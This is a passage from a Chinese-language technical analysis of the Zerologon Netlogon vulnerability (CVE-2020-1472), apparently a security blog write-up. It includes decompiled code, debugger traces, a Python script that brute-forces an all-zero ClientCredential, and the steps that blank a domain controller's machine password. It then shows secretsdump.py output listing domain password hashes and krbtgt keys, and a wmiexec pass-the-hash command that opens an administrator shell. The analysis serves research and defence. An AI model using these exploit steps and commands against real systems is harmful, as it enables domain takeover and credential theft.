v12 = num_1; pSrc1 = &Src; pSrc2 = &Src; plaintext = (char *)v9; // 指向CC,vars38存放运算结果 ...... if ( v12 ) { v16 = plaintext - pSrc2; // 计算plaintext相对于src的偏移 v17 = pSrc1 - pSrc2; // 在CFB8中这个值就是0 do { pSrc2[v17] = *pSrc2 ^ pSrc2[v16]; // 将加密结果的第一个字节和下一个字节异或( plaintext 的下一个字节),并放回src ++pSrc2; --v12; } while ( v12 ); } memcpy_0((void *)(v11 + v9), &Src, num_1);// 从vars38开始放入运算结果 ++ memmove(IV, &IV[num_1], num_f); // 整体向前移一位 memcpy_0(&IV[num_f], &Src, num_1); // 把加密结果的第一个字符放在末尾 v8 -= num_1; v9 += num_1; } while ( v8 >= num_1 ); v7 = v23; } return memcpy_0(v7, IV, v4); //将最终结果复制到 v7 指向的内存}
1: kd> bcryptPrimitives!SymCryptCfbEncrypt+0x85:00007ffb`0e6a9d19 41ff5708 call qword ptr [r15+8]1: kd> db rdx l1000000083`db7de2a0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................


将上述流程使用 python 实现,设置 Client Challenge 为 41 41 41 41 41 41 41 41(即 X 为 0x41,Y 为 0),随机生成 Server Challenge,打印每次的 SessionKey 和 ClientCredential,看会不会出现全 0 的 ClientCredential:


from Crypto.Hash import MD4from Crypto.Cipher import AESfrom termcolor import coloredimport os, hmac, hashlib, struct
def getSessionKey(CC):
SC = os.urandom(8) hstring = CC + SC
secret = "testtest" #密码我换了的 u_secret = unicode_str(secret) hkey = MD4.new(data = u_secret).digest() #print "test hkey:",print_func(hkey) SessionKey = hmac.new(hkey, hstring, hashlib.sha256).digest()[:16] #print "sessionkey",print_func(SessionKey) return SessionKey
def AES_128_CFB(Key,iv,String): cryptor = AES.new(key=Key, mode=AES.MODE_CFB, IV=iv,segment_size=128) ciphertext = cryptor.encrypt(String) return str(ciphertext)[0]
def unicode_str(sstr):
res = "" for i in sstr: res += i res += "\x00" return res
def print_func(string):
res = ""
for i in range(len(string)): hexnum = hex(struct.unpack("B", string[i])[0])[2:] if len(hexnum) == 1: hexnum = "0" + hexnum res += hexnum
return res
def vuln_func(SessionKey,challenge): ClientCredential = "" iv = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" string = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
for i in range(8): res = AES_128_CFB(SessionKey,iv,string) insert_byte = struct.pack("B",struct.unpack("B",res)[0] ^ struct.unpack("B",challenge[i])[0]) iv = iv[1:] + insert_byte ClientCredential += insert_byte
    text = "[*]SessionKey:" + print_func(SessionKey) + "    ClientCredential:" + print_func(ClientCredential)
if ClientCredential.startswith('\x00'): print colored(text,'red') return True else: print colored(text,'blue')
    return False
if __name__ == "__main__":
total = 0
for t in range(2000): #可以改小一些 for i in range(2000): challenge = "\x41\x41\x41\x41\x41\x41\x41\x41" SessionKey = getSessionKey(challenge) if vuln_func(SessionKey,challenge): total += i+1 print "[*] The number of attempts({}): {}".format(str(t+1),str(i+1)) break
    print "[+] Average times: "+ str(total/2000)    #可以改小一些


在经过 2000 次测试之后,发现成功需要平均的次数为 252,已经很接近 256 了,理论上测试次数越多越接近 256。幸运的是,在每一次测试中都在 2000 次之内得到了全 0 的 ClientCredential。



稍微修改一下代码,对抓包得到的 Server Challenge 进行测试,可发现成功得到全 0 的 Client Credential,服务端计算的 Authenticator.Credential 为 01 55 c7 b5 50 3b 23 ab(和抓包数据相吻合)。


➜  Desktop python testnetlogon1.py[*] Client Challenge: 0000000000000000[*] Server Challenge: 7a065336168d5f78[+] SessionKey: efe82ad49b32db0d314849584b99dc5e[1] 00ca04acf89b3eb567f91faad0131ab3[2] 00ca04acf89b3eb567f91faad0131ab3[3] 00ca04acf89b3eb567f91faad0131ab3[4] 00ca04acf89b3eb567f91faad0131ab3[5] 00ca04acf89b3eb567f91faad0131ab3[6] 00ca04acf89b3eb567f91faad0131ab3[7] 00ca04acf89b3eb567f91faad0131ab3[8] 00ca04acf89b3eb567f91faad0131ab3[*] ClientCredential:0000000000000000
[*] Server Stored Credential: 0100000000000000 //Wireshark 错误的解析把人坑好久[1] 00ca04acf89b3eb567f91faad0131ab3[2] 5541e42375fc6a76440a0575e86727bd[3] c7f5d8d02b703afe4cfddfe68b63d91a[4] b5731a798077a5e122b3ea2305f04181[5] 5038e1dd5db1746134767bcb014a373c[6] 3b531976aba0916774c2c6a5e7122fcf[7] 23170bb99d58140cbd060de43c01f385[8] ab0452ae6e8dcfd950ee35c83049cd33[*] TempCredential:0155c7b5503b23ab


POC 中的下一步是调用 NetrServerPasswordSet2 将密码置空,以下为 NetrServerPasswordSet2 函数原型,在该函数调用请求中需要提交 Authenticator 认证数据(NETLOGON_AUTHENTICATOR 结构)以及 ClearNewPassword 数据(NL_TRUST_PASSWORD 结构)。


 NTSTATUS NetrServerPasswordSet2(   [in, unique, string] LOGONSRV_HANDLE PrimaryName,   [in, string] wchar_t* AccountName,   [in] NETLOGON_SECURE_CHANNEL_TYPE SecureChannelType,   [in, string] wchar_t* ComputerName,   [in] PNETLOGON_AUTHENTICATOR Authenticator,   [out] PNETLOGON_AUTHENTICATOR ReturnAuthenticator,   [in] PNL_TRUST_PASSWORD ClearNewPassword);


NETLOGON_AUTHENTICATOR 前面介绍过,包括计算得到的 Credential 和当前的 Timestamp;NL_TRUST_PASSWORD 结构体中包括 Buffer(Unicode类型,512 字节)和 4 字节的 Length(指明 Password 长度)。


 typedef struct _NETLOGON_AUTHENTICATOR {   NETLOGON_CREDENTIAL Credential;   DWORD Timestamp; } NETLOGON_AUTHENTICATOR,  *PNETLOGON_AUTHENTICATOR;
typedef struct _NL_TRUST_PASSWORD { WCHAR Buffer[256]; ULONG Length; } NL_TRUST_PASSWORD,  *PNL_TRUST_PASSWORD;


如果表示计算机账户密码,Buffer 中的前 512 - Length 个字节必须为随机数,作为加密熵源,后面 Length 个字节为密码。



服务端在获取到客户端发送的 Authenticator 中的 timestamp 后,只是判断该值是否为0xFFFFFFFF,如果不是的话就直接使用用户发送的 timestamp 进行后续计算(计算过程前面已经分析过)。如下所示,在 netlogon!NlCheckAuthenticator 函数中验证Authenticator,采用 NlComputeCredentials 函数计算 Credential,由于还是使用同一条件下的算法(相同的 IV 和 SessionKey),因而使用和之前 Client Challenge 相同的输入依然可以得到全 0 输出,POC 中使用的 timestamp 还是0,这样 timestamp 加上之前计算得到的 Credential 后还是全 0 的,计算出的 TempCredential 也还是全 0,这样我们使用 00 00 00 00 00 00 00 00 的 Authenticator.Credential 就可以通过验证。由于 timestamp 的长度为 4 个字节,因而在前面的模式中只有 X 取 0 的情况下可以通过验证,即 Client Challenge、Client Credential、Authenticator.Credential 都为 00 00 00 00 00 00 00 Y,Authenticator.timestamp 为 0。


//NlCheckAuthenticator  NlPrintRoutine(0x4000000i64, L"NlCheckAuthenticator: Time = ");  NlpDumpBuffer(0x4000000i64, ClientAuthenticator + 8, 4i64);    // 4 字节的 timestamp  timestamp = *(_DWORD *)(ClientAuthenticator + 8);// timestamp  if ( timestamp == -1 )  {    NlPrintRoutine(      256i64,      L"NlCheckAuthenticator: potentially malicious client is calling with timestamp of 0xffffffff\n");  }
else //校验客户端的 Authenticator && 计算自己的 Authenticator { *ServerStoredCredential += timestamp; NlPrintRoutine(0x4000000i64, L"NlCheckAuthenticator: Seed + TIME = "); NlpDumpBuffer(0x4000000i64, v4 + 0x98, 8i64); NlComputeCredentials((PUCHAR)(v4 + 0x98), TempCredential, (PUCHAR)(v4 + 0xA0), *(_DWORD *)(v4 + 0x8C));// 计算 TempCredential NlPrintRoutine(0x4000000i64, L"NlCheckAuthenticator: Client Authenticator MADE = "); NlpDumpBuffer(0x4000000i64, TempCredential, 8i64); if ( *(_QWORD *)ClientAuthenticator == *(_QWORD *)TempCredential ) { v8 = *(_DWORD *)(v4 + 0x8C); ++*ServerStoredCredential; NlComputeCredentials((PUCHAR)(v4 + 0x98), ServerAuthenticator.Credential, (PUCHAR)(v4 + 0xA0), v8); NlPrintRoutine(0x4000000i64, L"NlCheckAuthenticator: Server Authenticator SEND = "); NlpDumpBuffer(0x4000000i64, ServerAuthenticator.Credential, 8i64); NlPrintRoutine(0x4000000i64, L"NlCheckAuthenticator: Seed + time + 1= "); NlpDumpBuffer(0x4000000i64, v4 + 0x98, 8i64); *(_WORD *)(v4 + 0x88) = 0; *(_WORD *)(v4 + 0x8A) &= 0xFBFFu; *(_WORD *)(v4 + 0x78) = 0; return 0i64; }  }


Authenticator 认证通过后会调用 NlDecrypt 函数对 TRUST_PASSWORD 进行 8 位 CFB 模式 AES-128 解密,在进行一些判断后会调用 NlSetIncomingPassword -> NlSamChangePasswordNamedUser -> SamISetMachinePassword 设置密码。以下为测试,随意填充 ClearNewPassword 结构,这里我将密码长度设置为 0x10,密码为 "testtest" ,其余数据用 00 填充(应该是随机数)。理论上这个结构应该进行 8 位 CFB 模式的 AES-128 加密,但我们不知道原来的密码,也算不出 SessionKey,所以干脆就这样啦。解密之后长度变成了 0xc6e8ca2,由于后面会有是否大于 0x200 的判断,将其手动修改为 0x10,然后继续运行程序。


1: kd> gBreakpoint 0 hitnetlogon!NetpServerPasswordSet+0x2b9:00007ffb`0e001159 e8526e0000      call    netlogon!NlDecrypt (00007ffb`0e007fb0)1: kd> db rcx l204DBGHELP: SharedUserData - virtual symbol module00000083`da84e430  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e440  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e450  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e460  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e470  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e480  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e490  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e4a0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e4b0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e4c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e4d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e4e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e4f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e500  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e510  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e520  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e530  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e540  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e550  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e560  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e570  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e580  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e590  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e5a0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e5b0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e5c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e5d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e5e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e5f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e600  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e610  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................00000083`da84e620  74 00 65 00 73 00 74 00-74 00 65 00 73 00 74 00  t.e.s.t.t.e.s.t.    //理论上是 Unicode 密码加密后的结果00000083`da84e630  10 00 00 00                                      ....                // 加密前 Unicode 密码长度1: kd> pnetlogon!NetpServerPasswordSet+0x2be:00007ffb`0e00115e 448b8d90010000  mov     r9d,dword ptr [rbp+190h]1: kd> db 00000083`da84e620     //解密后的数据,长度变成了 0xc6e8ca200000083`da84e620  74 7d 5d be 3e 03 af cc-2e cb b8 52 1c 4b af f5  t}].>......R.K..00000083`da84e630  a2 8c 6e c0 83 00 00 00-00 4e f7 0d fb 7f 00 00  ..n......N......00000083`da84e640  00 ec 84 da 83 00 00 00-18 8d 30 db 83 00 00 00  ..........0.....00000083`da84e650  87 a7 43 c4 73 a1 23 4f-77 12 88 bf c4 d4 04 90  ..C.s.#Ow.......00000083`da84e660  ff ff 2f 21 00 00 00 00-0c 40 f7 23 04 19 bb 84  ../!.....@.#....00000083`da84e670  68 75 b4 7f 66 9f 7d 87-e6 89 31 81 7d b4 00 00  hu..f.}...1.}...00000083`da84e680  d0 eb 84 da 83 00 00 00-52 fd f7 0d fb 7f 00 00  ........R.......00000083`da84e690  d0 eb 84 da 83 00 00 00-68 fd f7 0d fb 7f 00 00  ........h.......1: kd> ed 83`da84e630 10    //由于后面有 cmp r9d, 200h 判断,手动将其改为 0x10


解密后的密码为 "74 7d 5d be 3e 03 af cc 2e cb b8 52 1c 4b af f5",使用 MD4 散列算法进行运算得到 2d7091de951698701d2c34e3ccec0596,使用此哈希可从域控制器中复制用户凭据:


➜ Desktop python3 secretsdump.py -hashes :2d7091de951698701d2c34e3ccec0596 'WIN-NI3V5MRI9L6$@192.168.147.222'Impacket v0.9.22.dev1+20200924.183326.65cf657f - Copyright 2020 SecureAuth Corporation
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)[*] Using the DRSUAPI method to get NTDS.DIT secretsAdministrator:500:aad3b435b51404eeaad3b435b51404ee:d6ff87a3a1f9e671efea338c4fc53e65:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f15c5d3dc5d24c3587e19ed2bade3e29:::yyyyyyyyt:1001:aad3b435b51404eeaad3b435b51404ee:d6ff87a3a1f9e671efea338c4fc53e65:::WIN-NI3V5MRI9L6$:1002:aad3b435b51404eeaad3b435b51404ee:2d7091de951698701d2c34e3ccec0596:::[*] Kerberos keys grabbedkrbtgt:aes256-cts-hmac-sha1-96:1358483816cf1723cb1c084bf1833dcd7d72cfb07cd383408ba238306ea6b580krbtgt:aes128-cts-hmac-sha1-96:de0d4bda473745a0a696b13c69f4584fkrbtgt:des-cbc-md5:b60bfbb06ba42562yyyyyyyyt:aes256-cts-hmac-sha1-96:dd34bd0d9a4adb2a7f0cb35f0033035b0cdae21197a41147a7b07ed0681a5a7cyyyyyyyyt:aes128-cts-hmac-sha1-96:f46c8f546161b1082cd11d6db1c48aa4yyyyyyyyt:des-cbc-md5:fdfbb9f170a279f4WIN-NI3V5MRI9L6$:aes256-cts-hmac-sha1-96:f38f0684cb0a99c72741206e8a0727d0f2486dbe8b1899c9169e7eb4e7552c24WIN-NI3V5MRI9L6$:aes128-cts-hmac-sha1-96:e527f5d9b2c73fc70e86b197a30a1124WIN-NI3V5MRI9L6$:des-cbc-md5:8ad05d169b01c431[*] Cleaning up...


现在再来回顾一下漏洞模式,由于我们可以走到这里,说明客户端和服务端直接已经协商出了给定输入 00 就可以得到 AES 块加密结果第一个字节为 00 的 SessionKey,如果我们给出 516 个 00,那么 8 位 CFB 模式 AES-128 加密的结果也是 516 个 00。我们将 ClearNewPassword 结构填充为 516 个 00 ,这样系统在解密的时候得到的结果也是 516 个 00,这样密码的长度字段就被解析为 0,账户密码被置空。


➜ Desktop python3 secretsdump.py 'WIN-NI3V5MRI9L6$@192.168.147.222' -no-passImpacket v0.9.22.dev1+20200924.183326.65cf657f - Copyright 2020 SecureAuth Corporation
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)[*] Using the DRSUAPI method to get NTDS.DIT secretsAdministrator:500:aad3b435b51404eeaad3b435b51404ee:d6ff87a3a1f9e671efea338c4fc53e65:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f15c5d3dc5d24c3587e19ed2bade3e29:::yyyyyyyyt:1001:aad3b435b51404eeaad3b435b51404ee:d6ff87a3a1f9e671efea338c4fc53e65:::WIN-NI3V5MRI9L6$:1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::[*] Kerberos keys grabbedkrbtgt:aes256-cts-hmac-sha1-96:1358483816cf1723cb1c084bf1833dcd7d72cfb07cd383408ba238306ea6b580krbtgt:aes128-cts-hmac-sha1-96:de0d4bda473745a0a696b13c69f4584fkrbtgt:des-cbc-md5:b60bfbb06ba42562yyyyyyyyt:aes256-cts-hmac-sha1-96:dd34bd0d9a4adb2a7f0cb35f0033035b0cdae21197a41147a7b07ed0681a5a7cyyyyyyyyt:aes128-cts-hmac-sha1-96:f46c8f546161b1082cd11d6db1c48aa4yyyyyyyyt:des-cbc-md5:fdfbb9f170a279f4WIN-NI3V5MRI9L6$:aes256-cts-hmac-sha1-96:a7a4115912de25275fbaf5a2649a1c740dd0657346b9bb5a3ad1997c1266668cWIN-NI3V5MRI9L6$:aes128-cts-hmac-sha1-96:98e16ee761764038de64317273db40efWIN-NI3V5MRI9L6$:des-cbc-md5:ae45a864687f8c8f[*] Cleaning up... 


然后可以使用 wmiexec 拿到域控制器中的本地管理员权限(后面恢复密码的操作就不介绍了,教程很多):


➜  examples git:(master) ✗ python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:d6ff87a3a1f9e671efea338c4fc53e65 Administrator@192.168.147.222Impacket v0.9.22.dev1+20200924.183326.65cf657f - Copyright 2020 SecureAuth Corporation

[*] SMBv3.0 dialect used[!] Launching semi-interactive shell - Careful what you execute[!] Press help for extra shell commandsC:\>whoamistrawberry\administrator


测试


使用前面总结的 00 00 00 00 00 00 00 Y 模式进行漏洞利用测试,这里 Y 为 0x41,ClearNewPassword 结构完全置零,成功将密码置空。以下为抓包数据:


1、NetrServerReqChallenge 请求,Client Challenge 为 00 00 00 00 00 00 00 41



2、NetrServerAuthenticate3 请求,Client Credential 为 00 00 00 00 00 00 00 41,Negotiation options 设置为 0xffffffff,POC 中将其设置为 0x212fffff( 将 Secure NRPC 位(Netlogon signing and sealing)设置为 0),但测试时将其设置为 0x612fffff 也是可以成功的,甚至,我直接将其设置为 0xffffffff(测试环境:Windows Server 2012 R2,默认配置。zcgonvh 师傅测试了 Windows Server 2008 R2 ,也得到了同样的结论)。但无论如何,AES supported 位必须被设置,可参考 MS-NRPC 文档 3.1.4.2 节查看 NegotiateFlags 位。



3、NetrServerPasswordSet2 请求,Authenticator 中 Credential 设置为 00 00 00 00 00 00 00 41,timestamp 设置为 0。ClearNewPassword 设置为全 0。



4、最终,服务端设置成功,返回其 Authenticator。






参考链接




  • https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation

  • http://sbudella.altervista.org/blog/20180911-cve-2018-5548.html

  • https://xz.aliyun.com/t/4552

  • https://paper.seebug.org/1122/

  • https://mp.weixin.qq.com/s/-jt9bNcWf898ycEWk5l-HA

  • https://blog.skullsecurity.org/2013/padding-oracle-attacks-in-depth

  • https://blog.skullsecurity.org/2013/a-padding-oracle-example

  • https://blog.skullsecurity.org/2016/going-the-other-way-with-padding-oracles-encrypting-arbitrary-data

  • https://www.anquanke.com/post/id/193165

  • https://github.com/iagox86/poracle/blob/master/RemoteTestServer.rb

  • https://github.com/inspiringz/Shiro-721

  • https://tools.ietf.org/html/rfc5652#section-6.3

  • https://tools.ietf.org/html/rfc289

  • https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472

  • https://www.secura.com/pathtoimg.php?id=2055

  • https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-NRPC/%5BMS-NRPC%5D.pdf

  • https://mp.weixin.qq.com/s/wHoT-h468TXR48zzc79XgQ

  • https://nakedsecurity.sophos.com/2020/09/17/zerologon-hacking-windows-servers-with-a-bunch-of-zeros/

  • https://bbs.pediy.com/thread-262236.htm

  • https://github.com/mstxq17/cve-2020-1472